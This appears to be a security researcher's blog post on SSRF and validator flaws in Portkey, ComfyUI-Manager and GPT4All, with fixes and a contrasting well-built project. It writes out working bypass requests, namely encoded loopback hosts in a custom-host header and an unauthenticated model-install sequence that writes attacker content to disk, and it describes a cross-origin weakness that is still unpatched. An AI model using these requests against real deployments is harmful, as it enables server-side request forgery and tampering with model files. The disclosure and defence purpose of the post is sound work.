The validator wars: three SSRF/input validators, three bypasses


Every SSRF needs the same seam: code that fetches a URL an attacker influences. The defense everyone reaches for is a validator in front of the fetch. This post is three of them, taken apart in the same audit round.

The first is a genuinely good validator, beaten by its own parser. The second is a whitelist that never looks at the URL. The third ships no validator at all, which is also a decision, just not a written-down one. At the end, a project that closed the same seam without any of this drama, because the contrast is the useful part.

Portkey: the validator loses to its own parser

Portkey’s gateway (v1.15.2) proxies LLM traffic, and an attacker-supplied x-portkey-custom-host header controls the upstream base URL. The validator in front of that header is the best one I have audited: scheme allowlist, no credentials, no encoded characters, a homograph regex, trailing-dot and subdomain-depth checks, blocklists for internal hosts and cloud metadata, then decimal/hex/octal/shortened-IPv4 detection. Someone read up on SSRF before writing this.

Then the order of operations happens. new URL() runs before the alternative-IP checks, and WHATWG canonicalization folds every one of those encodings into dotted decimal. Worse, localhost and 127.0.0.1 sit in a trusted-host set with an early return, so the canonical form 127.0.0.1 skips every blocklist that follows it:

GET /v1/probe
x-portkey-custom-host: http://2130706433:9911
→ 200, gateway POSTs to http://127.0.0.1:9911/probe

x-portkey-custom-host: http://0x7f000001:9911
→ 200, same callback hit

x-portkey-custom-host: http://0177.0.0.1:9911
→ 200, same

x-portkey-custom-host: http://127.1:9911
→ 200, same

Eight encodings were tested, eight produced a 200 and a server-side callback: decimal, hex, mixed hex, hex-short, octal, octal-short, shortened, trailing dot. The anti-obfuscation checks are not weak, they are unreachable. For any http(s) URL the parser canonicalizes first, so the alternative-IP detector only ever sees strings the parser already normalized. The same shape repeats one layer down: the homograph regex rejects any hostname containing :, so the entire IPv6 private-range defense is dead code.

Two more bypasses fell out of the same audit. The validator never resolves DNS, so 127.0.0.1.nip.io passes every string check and resolves to loopback at fetch time. And redirects are never re-validated: a fetch to an attacker-controlled host that answers 302 lands wherever the redirect points, unchecked.

The fix is boring and real. Validate the pre-parsed string AND re-inspect url.hostname after canonicalization, drop loopback from the default trusted set in production, resolve DNS and re-check the returned records, pass redirect: 'manual' and re-validate every hop. Defensive code that runs before the parser is decorating the input, not validating it.

ComfyUI-Manager: the whitelist that never checks the URL

ComfyUI-Manager installs models from user-supplied URLs, so it checks install requests against a whitelist. Here is the whole check:

async def check_whitelist_for_model(item):
    json_obj = await core.get_data_by_mode('cache', 'model-list.json')
    for x in json_obj.get('models', []):
        if x['save_path'] == item['save_path'] and x['base'] == item['base'] and x['filename'] == item['filename']:
            return True
    json_obj = await core.get_data_by_mode('local', 'model-list.json')
    for x in json_obj.get('models', []):
        if x['save_path'] == item['save_path'] and x['base'] == item['base'] and x['filename'] == item['filename']:
            return True
    return False

save_path, base, filename. The url field, the one that decides where the server fetches from, is never compared. Verified live against a local instance, unauthenticated, default security level:

POST /manager/db_mode
{"value": "local"}
→ 200

POST /manager/queue/install_model
{"type": "checkpoint", "base": "upscale",
 "save_path": "checkpoints/upscale",
 "filename": "x4-upscaler-ema.safetensors",
 "url": "http://127.0.0.1:8899/x4-upscaler-ema.safetensors"}
→ 200, whitelist passes (save_path/base/filename all match)

POST /manager/queue/start
→ 200, worker downloads from the attacker-chosen URL
→ models/checkpoints/upscale/x4-upscaler-ema.safetensors now contains
  the attacker body, byte for byte

That is unauthenticated SSRF with an attacker-controlled write into the models tree, which is exactly where ComfyUI loads model artifacts from on later runs. One honest caveat: the read-back hop I wanted does not close. ComfyUI’s /view endpoint serves only the input/temp/output trees, and no whitelisted save_path lands in those, so the fetched body cannot be read back out through the API that way. The write stands; the exfil loop does not.

The whitelist itself is fine. Checking the wrong fields is the bug.

GPT4All: no validator at all

GPT4All’s local API server (QHttpServer, Qt, in gpt4all-chat/src/server.cpp) has no URL validation because it barely has an HTTP surface: three completion routes, an auth gate that is one settings toggle, and this appended to every response unconditionally:

m_server->addAfterRequestHandler(this,
    [](const QHttpServerRequest &req, QHttpServerResponse &resp) {
    Q_UNUSED(req);
    auto headers = resp.headers();
    headers.append("Access-Control-Allow-Origin"_L1, "*"_L1);
    resp.setHeaders(std::move(headers));
});

Access-Control-Allow-Origin: * on every response, no Origin parsing, no Host validation anywhere in the server. When the user enables the API server, any web page can POST completions to the local instance and read the responses back: conversation content disclosure, forced model loads, and a quieter one, completion requests mutate the shared GUI chat state, so a page can inject prompts into a chat session the user is watching.

The project is discontinued (no commits since May 2025), so there is no patch lane and this is documented as evidence rather than filed. It completes a family: llama.cpp, llamafile, GPT4All, all local servers that answer cross-origin by default when their API is switched on.

The contrast: mautrix closed this seam

The same audit round included the mautrix bridges, where the headline chain was that any WhatsApp user could trigger privileged bridge actions by sending a message. It does not work. The reasons are worth seeing, because mautrix faced the same design problem as the three above and shipped the boring answers.

Commands are Matrix-origin only: remote messages are relayed into Matrix by ghost intents and the command processor is never fed remote events. Permissions are a config allowlist keyed by exact user, then homeserver domain, then *, and an unconfigured user defaults to blocked. Provisioning endpoints are disabled unless a 16-character secret is configured. Nothing there is clever. It is deny-by-default plus origin checking, applied on every path, which is what each loser above had exactly one of.

What generalizes

  • Validator position beats validator quality. Portkey’s checks were excellent and all unreachable because new URL() ran first. Validate the canonical form, not the string.
  • Whitelists fail on the fields they do not contain. ComfyUI-Manager’s list is a real control; the URL just is not in it.
  • The absence of a validator is also a decision. GPT4All made it by accident, every default-on local API makes it.
  • Deny-by-default with origin checks is the whole game. mautrix shows the ceiling is reachable without heroics.

PoC scripts and the full findings for this round are collected at github.com/terrafying/pocolate. Related: three live proofs from the same round, and the method behind both posts, tireless search beats cleverness.